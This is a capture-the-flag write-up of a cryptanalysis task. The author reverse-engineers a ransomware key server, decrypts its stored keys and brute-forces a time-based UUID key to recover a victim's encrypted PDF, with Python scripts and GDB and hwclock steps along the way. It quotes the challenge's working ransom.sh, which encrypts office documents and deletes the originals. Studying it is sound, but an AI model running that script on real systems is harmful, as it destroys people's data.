12 minute read

Badge 9

Task 9 - The End of the Road - (Cryptanalysis, Software Development)

Unfortunately, looks like the ransomware site suffered some data loss, and doesn’t have the victim’s key to give back! I guess they weren’t planning on returning the victims’ files, even if they paid up.

There’s one last shred of hope: your cryptanalysis skills. We’ve given you one of the encrypted files from the victim’s system, which contains an important message. Find the encryption key, and recover the message.

Downloads:

Pre-Requisites

  • Ghidra
  • GDB
  • Complete all tasks up to Task 8
  • The cookie tok value you generated in Task 7
  • The server.py and util.py files you collected in Task B2. Use the script at the end of the Task B2 page if you need to download the files.
  • A database viewer, like DB Browser for SQLite

Inputs / Outputs for Lock Function

  • INPUTS:
    • CID
    • demand
    • username
  • OUTPUTS:
    • plainKey (not in database)
    • encryptedKey
    • creationDate
    • hackerName
    • customerId
    • expectedPayment

There are a couple of things I also need to know in order to reverse engineer the plainKey:

  • What encryption algorithm / technique is used?
  • How is the key used to encrypt / decrypt data?
  • How could these concepts be applied for any lost key?

The Key Encrypting Algorithm

In the previous task (Task 8), we used Ghidra to determine that the main.p4hsJ3KeOvw function in keymaster was responsible for de-obfuscating the key-encrypting key. The key is only de-obfuscated right before it is used, to limit its exposure. If we trace the XREF list for the main.p4hsJ3Ke0vw function, we can see that only two other functions call the key de-obfuscator: main.mTXY69XKhIw and main.mtHO6enMvyA.

calling functions

If we look at either function (main.mTXY69XKhIw or main.mtHO6enMvyA), we can see crypto/aes.NewCipher(); is called right after the key is de-obfuscated. Additionally, we see further down that the crypto/cipher.NewCBCDecrypter function is also called, indicating that CBC is used to encrypt and decrypt keys.

newCBCDecrypter

After some careful analysis in GDB, I decided to set a breakpoint at 0x005b8844 (just before crypto/cipher.NewCBCDecrypter is called in main.mtH06enMvyA). Once it ran, I found the decrypted key-encrypting key stored in RBX, and the CBC IV stored in R11.

GDB IV

Now that I have the key-encrypting key, the algorithm, and the IV, I can create a script to decrypt all the keys. I’ll use Python3 to automate this process.

Decrypting the Keys

I used these known values to create and test a python script to decrypt all the keys in the database

# Derived during Task 8
keyEncryptionKey = "ReDOBIadEHZkrzBIWzu8MBY9ArE3hr6hr22w9dO6FtI="
# Grabbed from the keymaster.db file when I last ran keymaster
encryptedKey     = "QsHlS8TTMxu069pdoh0rc4YqMzFacGZIsBMlVpQg1zGBud2Nsd1a4uWwP8vJ7OSFaJ/ri6mp+5N5+iy7FiOgjw=="
# Observed in GDB after setting breakpoints.
iv               = "10101010101010101010101010101010"
# Spit out in the console when I last ran keymaster
plainKey         = "810d241e-48a9-11ed-a356-08002722"

Here’s the script I developed to decrypt the keys and save them to the database:

import base64
import hashlib
import sqlite3
from Crypto import Random
from Crypto.Cipher import AES

class Database(object):

    def __init__(self, db):
        self.con = sqlite3.connect(db)

    def getEncKeys(self):
        self.query = "SELECT encryptedKey FROM customers"
        self.list = self.con.execute(self.query).fetchall()
        self.con.close()
        return self.list

    def saveKeys(self, encryptedKeys, plainKeys):
        self.con.execute("CREATE TABLE IF NOT EXISTS keys([id] INTEGER PRIMARY KEY, [encryptedKey] TEXT, [plainKey] TEXT)")
        for i in range(0, len(encryptedKeys)):
            values = "(" + str(i + 1) + "," + "'" + encryptedKeys[i] + "','" + plainKeys[i] + "'" ")"
            self.con.execute("INSERT INTO keys (id, encryptedKey, plainKey) VALUES " + values + ";")
            print(plainKeys[i])
        self.con.commit()
        self.con.close()

class CBCKey(object):

    def __init__(self, key):
        self.bs = AES.block_size
        self.key = base64.b64decode(key)

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = bytes.fromhex("10101010101010101010101010101010")
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc)).decode('utf-8')

    @staticmethod
    def _unpad(s):
        return s[16:][:-16]

cipher = CBCKey("ReDOBIadEHZkrzBIWzu8MBY9ArE3hr6hr22w9dO6FtI=")

keyMaster = Database("keyMaster.db")
output = Database("keys.db")

encKeys = keyMaster.getEncKeys()

encryptedKey = []
plainKey = []

for encKey in encKeys:
    encryptedKey.append(encKey[0])
    plainKey.append(cipher.decrypt(encKey[0]))

output.saveKeys(encryptedKey, plainKey)

Guessing an Old Key

Let’s re-read the prompt, just to make sure we’re on the right track:

Unfortunately, looks like the ransomware site suffered some data loss, and doesn’t have the victim’s key to give back!

In our case, we probably want to try to guess a known key first. Let’s grab some known data and try to recreate the key generation process.

# Values are from keyMaster.db		
customerId       = 24040
expectedPayment  = 0.677
hackerName       = "SadRope"
creationDate     = "2021-01-18T22:35:12-05:00"
encryptedKey     = "V7NBVzQ0JNfsJXcuglMy3QZdYZzxyrTsQHJVtgTJcrQGOiNxF5hqekM0SWmqkO0iVEMx3aWUsjdQoQJrdLmsUg=="
knownPlainKey    = "557a3f5c-5a07-11eb-be88-0c7de24a"

Based on all the other key values in keyMaster.db, the final 12 characters of be88-0c7de24a remain the same across all keys.

Seeing the Pattern

If we run the binary using these known values, we get the following response:

# INPUT
./keyMaster "lock" "24040" "0.677" "SadRope"
# OUTPUT
{"plainKey":"14c4ef96-70f6-11ed-875c-08002722","result":"ok"}

That plainKey value is very different from what we expected. None of the characters match except for 11e. Let’s see what happens when we manipulate the time using hwclock.

# INPUT
sudo hwclock --set --date="2021-01-18T22:35:12" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
# OUTPUT 
{"plainKey":"56a84576-5a07-11eb-9938-08002722","result":"ok"}

Now it looks like 5a07-11eb matches, but the last 12 characters seem to be system or application specific value. That leaves the first eight characters left to guess.

Let’s see what type of variation happens when we run the script multiple times:

# After three iterations
{"plainKey":"56a8575b-5a07-11eb-95f0-08002722","result":"ok"}
{"plainKey":"56a8927d-5a07-11eb-8fea-08002722","result":"ok"}
{"plainKey":"56a8a539-5a07-11eb-a950-08002722","result":"ok"}

It looks like the first 4 characters vary little while characters 5 - 8 vary a lot. Let’s see if changing the time by a few seconds makes a difference.

# 12 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:00" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"4f8141a1-5a07-11eb-94a5-08002722","result":"ok"}
             
# 10 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:02" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"50b238f4-5a07-11eb-822c-08002722","result":"ok"}
      
# 8 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:04" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"51e36655-5a07-11eb-8dc5-08002722","result":"ok"}
        
# 6 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:06" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"5314e57d-5a07-11eb-bd51-08002722","result":"ok"}
        
# 4 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:08" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"54462a97-5a07-11eb-be52-08002722","result":"ok"}

# 2 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:10" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"55772f22-5a07-11eb-97f5-08002722","result":"ok"}

# 0 Seconds Earlier
sudo hwclock --set --date="2021-01-18T22:35:12" && sudo hwclock --hctosys && ./keyMaster "lock" "24040" "0.677" "SadRope"
{"plainKey":"56a8bab0-5a07-11eb-958b-08002722","result":"ok"}

Scripting a plainKey Guesser

As we can see, it looks like there is a delay between the key being generated and the time being recorded. We’ll need to account for that in our brute force script. It looks like the key can be found with a script like this:

#!/usr/bin/env python3

import subprocess
import json
from datetime import datetime, timedelta

# Value was decrypted with the Key-Encrypting Key
knownPlainKey    = "557a3f5c-5a07-11eb-be88-0c7de24a"

class GuessKey():
  def __init__(self, customerId, expectedPayment, hackerName, creationDate):
    self.cid = customerId
    self.ePay = expectedPayment
    self.name = hackerName
    self.when = creationDate
    self.getTimeRange(self.when)

  def testResult(self, guess):
    # This needs to change!!!
    if guess == knownPlainKey: return True
    else: return False

  def iterateKeys(self):
    self.start = self.getSearchRange(self.start)
    self.end = self.getSearchRange(self.end)
    self.startRange = int(self.start, 16)
    self.endRange = int(self.end, 16)
    
    for i in range(self.startRange, self.endRange):
      fstring = format(i, "x").rjust(16, "0")
      key = fstring[8:16] + "-" + fstring[4:8] + "-" + fstring[0:4] + "-be88-0c7de24a"
      if self.testResult(key): 
        print("[+] Success at " + key, end="\n")
        exit(0)
      else: 
        print("[-] Failure at " + key, end="\r")

  def getSearchRange(self, date):
    scope = self.createKey(date)
    return scope[14:18] + scope[9:13] + scope[0:8]

  def getTimeRange(self, creationDate):
    creationDate = creationDate[:19]
    endDate = datetime.strptime(creationDate, "%Y-%m-%dT%H:%M:%S")
    self.start = datetime.strftime(endDate - timedelta(seconds = 2), "%Y-%m-%dT%H:%M:%S")
    self.end = datetime.strftime(endDate, "%Y-%m-%dT%H:%M:%S")
    
  def createKey(self, date):
    command = "hwclock --set --date='" + date + "' && hwclock --hctosys && ./keyMaster lock " + self.cid + " " + self.ePay + " " + self.name

    output = subprocess.run([command],capture_output=True,shell=True).stdout.decode()
    result = json.loads(output)

    if result["result"] == "ok":
      return result["plainKey"]
    else:
      print("Failed to obtain 'plainKey' value")
      exit(2)

def main():

  # Values are from keyMaster.db		
  #customerId       = "24040"
  #expectedPayment  = "0.677"
  #hackerName       = "SadRope"
  #creationDate     = "2021-01-18T22:35:12-05:00"
  
  guesser = GuessKey("24040", "0.677", "SadRope", "2021-01-18T22:35:12-05:00")
  guess = guesser.iterateKeys()
  print(guess)

if __name__ == "__main__":
  main()

Encrypting a PDF

How did the hackers encrypt the PDF in the first place?

If we go back to Task a2, we’ll find the answer. When we decrypted the TLS bit-stream, we were able to retrieve the tools.tar file and extract three files:

  • busybox
  • openssl
  • ransom.sh

If we open ransom.sh, we’ll see how it is done:

#!/bin/sh
read -p "Enter encryption key: " key
hexkey=`echo -n $key | ./busybox xxd -p | ./busybox head -c 32`
export hexkey
./busybox find $1 -regex '.*\.\(pdf\|doc\|docx\|xls\|xlsx\|ppt\|pptx\)' -print -exec sh -c 'iv=`./openssl rand -hex 16`; echo -n $iv > $0.enc; ./openssl enc -e -aes-128-cbc -K $hexkey -iv $iv -in $0 >> $0.enc; rm $0' \{\} \; 2>/dev/null

Here are the steps being performed in this code:

  1. The user enters a 32 character encryption key via the console
  2. The key is converted to hexcode (which doubles the size to 64)
  3. The last 32 characters are stripped
  4. The key is added to the environmental variables list
  5. Searches for any documents ending in pdf, doc, docx, xls, xlsx, ppt, and pptx
  6. Generates a random 16 character hex value
  7. Adds the IV to the beginning of the output file
  8. Creates an encrypted file using the IV, key, and CBC AES 128 encryption
  9. Adds the encrypted file bytes to the end of the output file

Create a PDF

Let’s use Adobe to create a new PDF then open it in a text editor.

Example PDF

It looks like the first five characters of a PDF are %PDF-. We can use this as a way to check if our decryption technique works at the end.

Create a CBC Crypto Engine

Let’s try writing a Python3 script that works the same way as ransom.sh.

#!/usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from binascii import hexlify, unhexlify
import codecs
import subprocess
from base64 import b64encode
import os

class CBCHandler(object):

    def __init__(self, file, key, iv = None):
        self.infile = file
        self.key = key[:16]
        self.hexkey  = str.encode(key)
        if iv == None:
            f = open(self.infile, "rb")
            self.iv = unhexlify(f.read()[:32])
            f.close()
        else:
            self.iv   = unhexlify(iv)
        self.cipher = AES.new(self.hexkey, AES.MODE_CBC, iv=self.iv)
        f = open(self.infile, "rb")
        self.content = f.read()
        f.close()

    def encrypt(self, message = None):
        if message == None: return self.cipher.encrypt(pad(self.content, AES.block_size))
        else: return self.cipher.encrypt(pad(message, AES.block_size))

    def decrypt(self, message = None):
        if message == None: return self.cipher.decrypt(self.content)
        else: return self.cipher.decrypt(message)

    def check(self, message):
        if message[0:5] == b"%PDF-":
            f = open(self.key + ".pdf", "wb")
            f.write(message)
            f.close()
            return True
        else:
            return False
            
def main():
    file = "test.pdf"
    key = "557a3f5c-5a07-11eb-be88-0c7de24a"
    iv = "f0b3465f65407afc7fa19e443c3f60a4"
    encryptor = CBCHandler(file, key, iv)
    
    result = encryptor.encrypt()

    decryptor = CBCHandler(file, key, iv)

    result = decryptor.decrypt(result)
    
    if decryptor.check(result):
        print("[+] Success at " + key, end="\n")
    else:
        print("[-] Testing at " + key, end="\r")
            
if __name__ == "__main__": 
    main()

When we run the Python3 script, it spits out a file with the same filename as the key (just in case we forget which key is the right one). At the completion of the script, we get a success message.

Success Message

Putting it All Together

Looks like we need to guess the plainKey based on data we already have. Here’s what we know about the key in question:

customerId       = 95137 # from keyMaster.db
expectedPayment  = 1.194 # from keyMaster.db
hackerName       = "AttractiveWhorl" # from keygeneration.log
creationDate     = "2022-02-02T08:13:58-05:00" # from keygeneration.log

Let’s see what we should expect by creating a test plainKey:

# INPUT
sudo hwclock --set --date="2022-02-02T08:13:58" && sudo hwclock --hctosys && ./keyMaster "lock" "95137" "1.194" "AttractiveWhorl"
# OUTPUT
{"plainKey":"fb86cf75-8429-11ec-bf0b-08002722","result":"ok"}

Based on the output, our code should still work. Let’s put it all together…

#!/usr/bin/env python3

import subprocess
import json
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from binascii import hexlify, unhexlify
import codecs
from base64 import b64encode
import os
import time

file = "important_data.pdf.enc"

class GuessKey():
  def __init__(self, customerId, expectedPayment, hackerName, creationDate):
    self.cid = customerId
    self.ePay = expectedPayment
    self.name = hackerName
    self.when = creationDate
    self.getTimeRange(self.when)

  def iterateKeys(self):
    self.start = self.getSearchRange(self.start)
    self.end = self.getSearchRange(self.end)
    self.startRange = int(self.start, 16)
    self.endRange = int(self.end, 16)
    
    for i in range(self.startRange, self.endRange):
      fstring = format(i, "x").rjust(16, "0")
      key = fstring[8:16] + "-" + fstring[4:8] + "-" + fstring[0:4] + "-be88-0c7de24a"
      decryptor = CBCHandler(file, key)
      result = decryptor.decrypt()
  
      if decryptor.check(result):
        print("[+] Success at " + key, end="\n")
        exit(0)
      else:
        print("[-] Testing at " + key, end="\r")
    exit(1)

  def getSearchRange(self, date):
    scope = self.createKey(date)
    return scope[14:18] + scope[9:13] + scope[0:8]

  def getTimeRange(self, creationDate):
    creationDate = creationDate[:19]
    endDate = datetime.strptime(creationDate, "%Y-%m-%dT%H:%M:%S")
    self.start = datetime.strftime(endDate - timedelta(seconds = 2), "%Y-%m-%dT%H:%M:%S")
    self.end = datetime.strftime(endDate, "%Y-%m-%dT%H:%M:%S")
    
  def createKey(self, date):
    command = "sudo hwclock --set --date='" + date + "' && sudo hwclock --hctosys && ./keyMaster lock " + self.cid + " " + self.ePay + " " + self.name

    output = subprocess.run([command],capture_output=True,shell=True).stdout.decode()
    result = json.loads(output)

    if result["result"] == "ok":
      return result["plainKey"]
    else:
      print("Failed to obtain 'plainKey' value")
      exit(2)

class CBCHandler(object):

    def __init__(self, file, key, iv = None):
        self.infile = file
        self.key = key[:16]
        self.hexkey  = str.encode(self.key)
        if iv == None:
            f = open(self.infile, "rb")
            self.iv = unhexlify(f.read()[:32])
            f.close()
        else:
            self.iv   = unhexlify(iv)
        self.cipher = AES.new(self.hexkey, AES.MODE_CBC, iv=self.iv)
        f = open(self.infile, "rb")
        self.content = f.read()[32:]
        f.close()

    def encrypt(self, message = None):
        if message == None: return self.cipher.encrypt(pad(self.content, AES.block_size))
        else: return self.cipher.encrypt(pad(message, AES.block_size))

    def decrypt(self, message = None):
        if message == None: return self.cipher.decrypt(self.content)
        else: return self.cipher.decrypt(message)

    def check(self, message):
        if message[0:5] == b"%PDF-":
            f = open(self.key + ".pdf", "wb")
            f.write(message)
            f.close()
            return True
        else:
            return False

def main():

  start = time.time()
  customerId       = "95137" # from keyMaster.db
  expectedPayment  = "1.194" # from keyMaster.db
  hackerName       = "AttractiveWhorl" # from keygeneration.log
  creationDate     = "2022-02-02T08:13:58-05:00" # from keygeneration.log
  
  guesser = GuessKey(customerId, expectedPayment, hackerName, creationDate)
  
  guesser.iterateKeys()
  
  end = time.time()
  
  print("Seconds Elapsed: " + str(end - start))

if __name__ == "__main__":
  main()

Unfortunately, when we run our script, we get zero matches.

Zero Matches

I banged my head against the wall for several hours on this issue. I tried switching operating systems, changing my decryption module, and even re-writing my entire concept from scratch. I finally submitted a helpticket along with my code to see if I was completely wrong about my approach. Then it hit me after a helpful nudge that I was on the right track!

Helpful Nudge

This whole time, I had been basing my calculation off of the keygeneration.log. But when I cross compared the log times with times from the keyMaster.db file, the times in the log were more than 10 seconds off sometimes. My code only accounted for 2 seconds off.

By changing this:

self.start = datetime.strftime(endDate - timedelta(seconds = 2), "%Y-%m-%dT%H:%M:%S")

To this:

self.start = datetime.strftime(endDate - timedelta(seconds = 10), "%Y-%m-%dT%H:%M:%S")

I was able to find a matching key (which was f5ba6b5c-8429-11) and decrypt the PDF!!!

Found the Key

When we type in the value of tC33i1RGlEBlSCJyZo3WafhEMGY2QQjM from the PDF, we get a success banner for our final task!!!

Task 9 Success